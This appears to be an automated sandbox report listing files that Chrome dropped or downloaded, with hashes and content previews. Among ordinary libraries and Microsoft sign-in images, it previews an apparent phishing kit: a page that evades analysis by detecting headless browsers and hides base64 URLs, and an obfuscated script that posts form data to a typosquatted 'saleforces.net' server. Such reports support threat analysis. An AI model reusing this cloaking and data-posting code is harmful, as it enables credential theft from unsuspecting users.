Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Apr 18 19:48:24 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9979695776385653
Encrypted:	false
SSDEEP:	48:8idcTgASHPidAKZdA1vehDiZUkwqeh+y+R:8lPL8y
MD5:	85985C5D7A4368C19C65F9912901ABC1
SHA1:	C8D36C1331E1A849A0D5CE9F532348A05DDB7CB9
SHA-256:	30ADEFED93DA399BE400DC1F7A2A45FD269BBD678DCC8CBF14C7FED5410CD0FE
SHA-512:	A53AB6F38CFFB4AFCB782668F981AA879571F7253FB5AD4F029B1536D01C1C069325C9AB46E95530A3C39C7D8E0C3B62BD6E36346318A101E0440288B45A16A0
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....^.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Apr 18 19:48:24 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9881674420712945
Encrypted:	false
SSDEEP:	48:8ZdcTgASHPidAKZdA1hehBiZUk1W1qeh4y+C:8QPL9Yy
MD5:	07CFC44467CBE38A0807B10ADAD935F8
SHA1:	6DC48635AA5535178F0315F1151749CD424A897F
SHA-256:	867B1545C067CCCF540B7316C9456ECED73CAC388576C7F9FD2641AB2D5E313F
SHA-512:	54CF5FF284845BFEA4FB25A7DCBC6F170040EC974DB02B964B5234763BE108AF7D8F243FEBB3D24A48429A510E1BE182FAD561FEC75206CA0B97355B06734151
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....J.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Apr 18 19:48:24 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9975342752929754
Encrypted:	false
SSDEEP:	48:8rdcTgASHPidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbmy+yT+:8CPrT/TbxWOvTbmy7T
MD5:	2FB85BFD8C6CEE03FD554C36E5679D70
SHA1:	61B77DFE6F8DAF93AFC7B3C60AEA1FB82299B29D
SHA-256:	6163190B8046F0967483EEBC1FC0373D1600F44D685E922EB087E73E128BBC3D
SHA-512:	04476B258E80094C6E54ACA7D6908EE0AEFB611E4782ECEBB7A96890965913326FD594BF1AA64251983425D2CF320BC3BF99A77529521C782678CDAA7E38F630
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....7.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 7390
Category:	downloaded
Size (bytes):	2407
Entropy (8bit):	7.900400471609788
Encrypted:	false
SSDEEP:	48:XVBUIsjnR4Zg0ddZ8E5EyQk7J0e+r/9lifUUuHDM3oOY+:XUIIKZg0ddZdEzTsfUUmyY+
MD5:	9D372E951D45A26EDE2DC8B417AAE4F8
SHA1:	84F97A777B6C33E2947E6D0BD2BFCFFEC601785A
SHA-256:	4E9C9141705E9A4D83514CEE332148E1E92126376D049DAED9079252FA9F9212
SHA-512:	78F5AA71EA44FF18BA081288F13AD118DB0E1B9C8D4D321ED40DCAB29277BD171BBB25BA7514566BBD4E25EA416C066019077FAA43E6ED781A29ADB683D218E2
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_fluent_authenticator_b59c16ca9bf156438a8a96d45e33db64.svg
Preview:	...........Y=s.8......mr...f.y....8.R...l.Nk.l..?....{$.l\|e'zM.3...............S(..........O./......Mn.e..O..7.O.?=..?........../...~yy._t....8.a........~.....+..$..*..z..\....~..Jx\|............\|y...=................./.3....kN2...H...;<sy....H..?2..q5.0.0....f......L.^..v.W.L..7XCm8.I...6\.p.....O/%sX..I.......u............yE......$q....1/.....W....Zg...w..-..v....x...N)........R....c.W5.=...{_1_...+.#.......e...K..:..b.Ec...!...".I1../2X.....].i.sAF;^.1....1/UM.[r..d...>RX..U...<..1...V.\|.......X.jX:..0...9..F.KsT...{.6,.._Q..9.b...Q)..0.R.t.u.JN..u$V.%X.9k..t.."..Q.........y.V.Z$7.q.{......k.......W....5.x..K.."y...=......4...h\|!....r.."v\f`..c+.......b..hc.jn....0.&G..m.=.@..6../......6....tM^.&3.$......~.....m2...wFs..#5.Hy..?...r.p.O.X.'n...Z8L......7.;..QWGnr.sY..n...3.Jfq..+{m....\...X.q...0...0...........}}d...33.....Q...F$.8..v..UH&.H........0.q..n...q...F.Y7...u..B>..J.A.....$.,....w......Z..oe..w..%....$[+.......d...

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 2905
Category:	downloaded
Size (bytes):	1173
Entropy (8bit):	7.811199816788843
Encrypted:	false
SSDEEP:	24:XuByTjb3w436CJvnuI5wTGPjl2kGKvu3pufqOdyq3/VYHjyK5AXn:X8yz1qCkUYo1ozgt9YHGKe
MD5:	5C7ACF60A2ACAA5C54BF2B2EC6D484D8
SHA1:	F1837FD5DB6DAD498148D7D77438DE693114B042
SHA-256:	EE21196A4F5EF64135B7998E58F1E7210608674E3FDF97B328C1C237E3B184DB
SHA-512:	11516935B1C777D6457B7FB44235F8C8A73BA1313AC8607C16D342EECAE22AE5BFD702CE01DBB2DC63C3D480E89A689C7AA6CAC8D822E306B413534FEE770A77
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_call_fe87496cc7a44412f7893a72099c120a.svg
Preview:	..........uV.n$7......iR.+..LN9.oA..5.......nx..S...l..%[..)..=.....z.?/.._......\|{8.4M........^.~w>=>......t.....~.M;.....,....n~}=-.7........U.<>=.._.O.....y9.>.....y...wR.`8..r..q$.....KR...X.....W.....$g'". W<..$..-.2.....h04.O...\|._../.6.)..ax..X...wzT.....2..7....1....C.@8B....d.M..KS8..>... .%=...q....yWF....\..kM.H....<..&.mM..s...%.'G.n..(..h.-.I.S.K...1;..:7.xdvP..y.]....Q$..4.@.2Fp ..Oe.......=.I........F......{....`.............uC..G.....'..E.....dR..g.(.+K.q...?...O.%.@.i..."n...1 .JTm.S..wM.,../.\|H..s.....C.=.B1(.B.f..:K.\.T....c..N...sT..D....T.=..Zt..M2.).FP.h.:.+A.. ^N-$..U.K..n.u.DZ...d.C....s.n.PI..@.4.pi....G..j.5.7l6....Q$...fs....uD......F...e%..}5.S.s.n".9...e&(_.=..oq..F%L...G].....b.`..hi.S.I.8..Y%hM.\|..W....jC.-a..'..%.r..W?...a...H...5.c......v.G..v.G.a....a/.LT.Fv......7.A...@.OcV.......6xcy,l[.wkP..-E...U..J.....1j....2....C+...?.I.Q.C.kM.n...j..5{HV)I...M.G2o......5.....E_..j.....D...^b..+.U..,K2

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32030)
Category:	downloaded
Size (bytes):	86709
Entropy (8bit):	5.367391365596119
Encrypted:	false
SSDEEP:	1536:9NhEyjjTikEJO4edXXe9J578go6MWXqcVhrLyB4Lw13sh2bzrl1+iuH7U3gBORDT:jxcq0hrLZwpsYbmzORDU8Cu5
MD5:	E071ABDA8FE61194711CFC2AB99FE104
SHA1:	F647A6D37DC4CA055CED3CF64BBC1F490070ACBA
SHA-256:	85556761A8800D14CED8FCD41A6B8B26BF012D44A318866C0D81A62092EFD9BF
SHA-512:	53A2B560B20551672FBB0E6E72632D4FD1C7E2DD2ECF7337EBAAAB179CB8BE7C87E9D803CE7765706BC7FCBCF993C34587CD1237DE5A279AEA19911D69067B65
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.1.1.min.js
Preview:	/! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.1.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.con

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (611)
Category:	downloaded
Size (bytes):	27242
Entropy (8bit):	4.3631679730758375
Encrypted:	false
SSDEEP:	384:6FamwIluB0sJQqCeSQup5szCUXAG0VVi82OgoKACZQQofNJXY3gW3:663Mp5If8WOmgW3
MD5:	DF3D48946E8D3F5A83608308EDBB4B86
SHA1:	47B9C40C97ABF2658DF96B1C06109324E15E1A00
SHA-256:	570A6631252B8A52DF4DE0E953AE77DBDF524DFC3637CDA2840494A0D2B49499
SHA-512:	36EC1CEC72DC3245730C813277C645525473CC5232E85CD23503B8593D90264F335E61A16D364A1E6C41922820B40BA7C0F46B19F4B91DB6A0CF5E31E778DDEA
Malicious:	false
Reputation:	low
URL:	https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/favicon.ico
Preview:	<!DOCTYPE html>.<html lang="en">. <head>. <meta charset="UTF-8" />. <meta name="viewport" content="width=device-width, initial-scale=1.0" />. <link rel="icon" href="https://www.cloudflare.com/favicon.ico" />. <title>Not Found</title>. <style>. body {. font-family: system-ui;. font-weight: 300;. font-size: 1.25rem;. color: #36393a;. display: flex;. align-items: center;. justify-content: center;. }. main {. max-width: 1200px;. margin-top: 120px;. display: flex;. flex-wrap: wrap;. align-items: center;. justify-content: center;. }. #text {. max-width: 60%;. margin-left: 1rem;. margin-right: 1rem;. }. main > section > div {. margin-bottom: 3.25rem;. }. svg {. margin-left: 2rem;. }. @keyframes eye-1 {. 0% {. transform: translateX(0);. }. 10%,. 50% {. tr

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42414)
Category:	downloaded
Size (bytes):	42415
Entropy (8bit):	5.374316408837108
Encrypted:	false
SSDEEP:	768:JC9//LuIHdibSt3JocMjX1yj8S7dYdxoqmNdbyBVnPNAZASyXY1eO4mH19B59:OuIHdibSt3aFyjX1PNd6+9
MD5:	374FEC8B5E50CD6AB980F3FEF21A5AA0
SHA1:	7F474607991A19B6F1B78CC32E0F75B501B60774
SHA-256:	8AF2DA74872F03E058AB79A584176D2086AFC01BBD42DD2ED14259179341BE6A
SHA-512:	3420E0DEF4FA49BD8B67DA80F1C3F56A08B4892BC0373D7BB824F8126713B209116147D4B1E1D5E7B07C6DBC58B1AD411AEB2F5A0DAE99FFC220246311E3808E
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/turnstile/v0/g/54ea73d52131/api.js?onload=onloadTurnstileCallback
Preview:	"use strict";(function(){function bt(e,r,t,o,u,s,m){try{var b=e[s](m),h=b.value}catch(d){t(d);return}b.done?r(h):Promise.resolve(h).then(o,u)}function Et(e){return function(){var r=this,t=arguments;return new Promise(function(o,u){var s=e.apply(r,t);function m(h){bt(s,o,u,m,b,"next",h)}function b(h){bt(s,o,u,m,b,"throw",h)}m(void 0)})}}function M(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):M(e,r)}function Ie(e,r,t){return r in e?Object.defineProperty(e,r,{value:t,enumerable:!0,configurable:!0,writable:!0}):e[r]=t,e}function Ve(e){for(var r=1;r<arguments.length;r++){var t=arguments[r]!=null?arguments[r]:{},o=Object.keys(t);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(t).filter(function(u){return Object.getOwnPropertyDescriptor(t,u).enumerable}))),o.forEach(function(u){Ie(e,u,t[u])})}return e}function fr(e,r){var t=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2128
Entropy (8bit):	5.663935296401076
Encrypted:	false
SSDEEP:	48:wA7bmdcFhelzBXEd0EGl0W3q6bjeX4X8aAO:p8NBUduVFiIx
MD5:	FF61A2AAC2223CE65B899CCFE885CDDA
SHA1:	7B0221583206F8075BD7C9950A1519207F371800
SHA-256:	FD2A68637DBC0389C1E0F3CFD15A4D3D1599D0B0C5A9FD5A442AE0B224DA0EE2
SHA-512:	128A7658F63E5F07B4B66AA935E46A6D669B6B9F75BD54BEFEB6F1E37302A3EBD1038489AB6A367404CE10A87651D492FBFC59BA79DE435ED8B9CF29F5330DE6
Malicious:	false
Reputation:	low
URL:	https://www.saleforces.net/hosuyyuiuyt/admin/js/sc.php?r=ZW0sZW1haWwsYWRk
Preview:	var v0e18b9d2= document.createElement('script');..var autograb = 0;..v0e18b9d2.setAttribute('src',atob("aHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuMS4xLm1pbi5qcw=="));..document.head.append(v0e18b9d2);....var v8584f797= document.createElement('script');..v8584f797.setAttribute('src',"https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");..document.head.append(v8584f797);....v0e18b9d2.onload=function(){..$.support.cors = true..var v79bf34fd = atob;..var v927524fa = "".split;..var v98131322 = [].constructor.constructor(v79bf34fd("cmV0dXJuIENyeXB0b0pT"));..var v5e455e7b = v79bf34fd($('#b64u').val());..$.post(v5e455e7b,'scte='.concat('') + (autograb == 0 ? '&auto=false' : '') + '&f=WyJlbSIsImVtYWlsIiwiYWRkIl0=')....done(function(v10db48){...function v62fee88d211790740c8e2d(f){.....var O00O1II = v927524fa.apply(v79bf34fd(f),[String.fromCharCode(42)]);.....var O000111 = {......OO0O1II: O00O1II[0],......OO0OII1: O00O1II[2],......OOOOII1 : O00O1II[1],......OO0OIII: O00O1II

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1878), with no line terminators
Category:	downloaded
Size (bytes):	1878
Entropy (8bit):	5.331153407482164
Encrypted:	false
SSDEEP:	48:QWLsy/CFm/lA/CQGWgU/kz9emU4PFJPFk:NSFm/K7nNkz9e/
MD5:	87991A5BD30F991FBB67153239603A7F
SHA1:	BCFE8F1C966F1D91250918EE55F8DF9BB7D38BB2
SHA-256:	02A7E32F4F532F2B4C77E0630CF7D0E6FA0B634D77283682BBCB7683A1A74B91
SHA-512:	2A2A2F984A6B790D29974C232303F06EB1BD0BBD787EACE401668002BD84F6C7DB3B89D6BC0FEC4F0EA2788A958A775156BD9093FB26FF041B49D2451692C8F3
Malicious:	false
Reputation:	low
URL:	https://pub-67287b4c03bd4108a3a76bfe6a5b8687.r2.dev/ytwiowuytp.html?sessionToken=gxHItZv6XlUfxhcpc8gBqsqmjSna6pkpH37IHocpJ9TOjqTKUUJugAvpaqfaPgltZNazNs8lQUyzTQj3&e=
Preview:	<html><head>.<meta name="viewport" content="width=device-width, initial-scale=1.0">.<script src="https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback" defer async></script></head><body style="display:flex;justify-content:center;align-items:center;text-align:center;">.<div>..<h3 id="status-shower" style="margin-bottom:30px;"> Verifying site connection... </h3>..<div id="cf-show" style=""></div>...<input type="hidden" id="b64u" value="aHR0cHM6Ly93d3cuc2FsZWZvcmNlcy5uZXQvaG9zdXl5dWl1eXQvNzJkYWUzMC5waHA=" class="aHR0cHM6Ly93d3cuc2FsZWZvcmNlcy5uZXQvaG9zdXl5dWl1eXQvYWRtaW4vanMvc2MucGhwP3I9Wlcwc1pXMWhhV3dzWVdSaw=="></input></div>.<script>..var useC = 1;..if(!navigator.webdriver && (navigator.language \|\| navigator.languages.length > 0) && (window.outerWidth > 0 && window.outerHeight > 0) && !(/headless/i.test(navigator.userAgent)) && useC){...window.onloadTurnstileCallback = function () {....turnstile.render('#cf-show', {.....sitekey: '1x00000000000000000000AA',

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 250
Category:	dropped
Size (bytes):	199
Entropy (8bit):	6.766983163126765
Encrypted:	false
SSDEEP:	6:XtkhhsKHWpSiKPjPOeNWo6Rs7J1TxODwpV:X8hsKHDTPyeNSRs7vV0aV
MD5:	21B761F2B1FD37F587D7222023B09276
SHA1:	F7A416C8907424F9A9644753E3A93D4D63AE640E
SHA-256:	72D4161C18A46D85C5566273567F791976431EFEF49510A0E3DD76FEC92D9393
SHA-512:	77745F60804D421B34DE26F8A216CEE27C440E469FD786A642757CCEDBC4875D5196431897D80137BD3E20B01104BA76DEC7D8E75771D8A9B5F14B66F2A9B7C0
Malicious:	false
Reputation:	low
Preview:	..........u....0.._%2k.8?....w..k..!.M.."b5<.M.bD..c..l.:..}...@.8p.sn.j...%".B...J..6...c..^..?...2d...R..w.<%..}..}s..ir0/.......:8).(.......^u...0..U..I.F....{]...[-......~..F.P_.....G.....

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	troff or preprocessor input, ASCII text, with very long lines (372)
Category:	downloaded
Size (bytes):	37414
Entropy (8bit):	4.82325822639402
Encrypted:	false
SSDEEP:	768:mmMtI+A4CSIDqvnI+YTBrFPvVrJjhiRAiiEL:mXtI+A4GDUI+Y9rpVljhiIEL
MD5:	C495654869785BC3DF60216616814AD1
SHA1:	0140952C64E3F2B74EF64E050F2FE86EAB6624C8
SHA-256:	36E0A7E08BEE65774168528938072C536437669C1B7458AC77976EC788E4439C
SHA-512:	E40F27C1D30E5AB4B3DB47C3B2373381489D50147C9623D853E5B299364FD65998F46E8E73B1E566FD79E97AA7B20354CD3C8C79F15372C147FED9C913FFB106
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.css
Preview:	/!. Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome. * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License). /./ FONT PATH. * -------------------------- /.@font-face {. font-family: 'FontAwesome';. src: url('../fonts/fontawesome-webfont.eot?v=4.7.0');. src: url('../fonts/fontawesome-webfont.eot?#iefix&v=4.7.0') format('embedded-opentype'), url('../fonts/fontawesome-webfont.woff2?v=4.7.0') format('woff2'), url('../fonts/fontawesome-webfont.woff?v=4.7.0') format('woff'), url('../fonts/fontawesome-webfont.ttf?v=4.7.0') format('truetype'), url('../fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular') format('svg');. font-weight: normal;. font-style: normal;.}..fa {. display: inline-block;. font: normal normal normal 14px/1 FontAwesome;. font-size: inherit;. text-rendering: auto;. -webkit-font-smoothing: antialiased;. -moz-osx-font-smoothing: grayscale;.}./ makes the font 33% larger relative to the icon container */..

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 2905
Category:	dropped
Size (bytes):	1173
Entropy (8bit):	7.811199816788843
Encrypted:	false
SSDEEP:	24:XuByTjb3w436CJvnuI5wTGPjl2kGKvu3pufqOdyq3/VYHjyK5AXn:X8yz1qCkUYo1ozgt9YHGKe
MD5:	5C7ACF60A2ACAA5C54BF2B2EC6D484D8
SHA1:	F1837FD5DB6DAD498148D7D77438DE693114B042
SHA-256:	EE21196A4F5EF64135B7998E58F1E7210608674E3FDF97B328C1C237E3B184DB
SHA-512:	11516935B1C777D6457B7FB44235F8C8A73BA1313AC8607C16D342EECAE22AE5BFD702CE01DBB2DC63C3D480E89A689C7AA6CAC8D822E306B413534FEE770A77
Malicious:	false
Reputation:	low
Preview:	..........uV.n$7......iR.+..LN9.oA..5.......nx..S...l..%[..)..=.....z.?/.._......\|{8.4M........^.~w>=>......t.....~.M;.....,....n~}=-.7........U.<>=.._.O.....y9.>.....y...wR.`8..r..q$.....KR...X.....W.....$g'". W<..$..-.2.....h04.O...\|._../.6.)..ax..X...wzT.....2..7....1....C.@8B....d.M..KS8..>... .%=...q....yWF....\..kM.H....<..&.mM..s...%.'G.n..(..h.-.I.S.K...1;..:7.xdvP..y.]....Q$..4.@.2Fp ..Oe.......=.I........F......{....`.............uC..G.....'..E.....dR..g.(.+K.q...?...O.%.@.i..."n...1 .JTm.S..wM.,../.\|H..s.....C.=.B1(.B.f..:K.\.T....c..N...sT..D....T.=..Zt..M2.).FP.h.:.+A.. ^N-$..U.K..n.u.DZ...d.C....s.n.PI..@.4.pi....G..j.5.7l6....Q$...fs....uD......F...e%..}5.S.s.n".9...e&(_.=..oq..F%L...G].....b.`..hi.S.I.8..Y%hM.\|..W....jC.-a..'..%.r..W?...a...H...5.c......v.G..v.G.a....a/.LT.Fv......7.A...@.OcV.......6xcy,l[.wkP..-E...U..J.....1j....2....C+...?.I.Q.C.kM.n...j..5{HV)I...M.G2o......5.....E_..j.....D...^b..+.U..,K2

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 7390
Category:	dropped
Size (bytes):	2407
Entropy (8bit):	7.900400471609788
Encrypted:	false
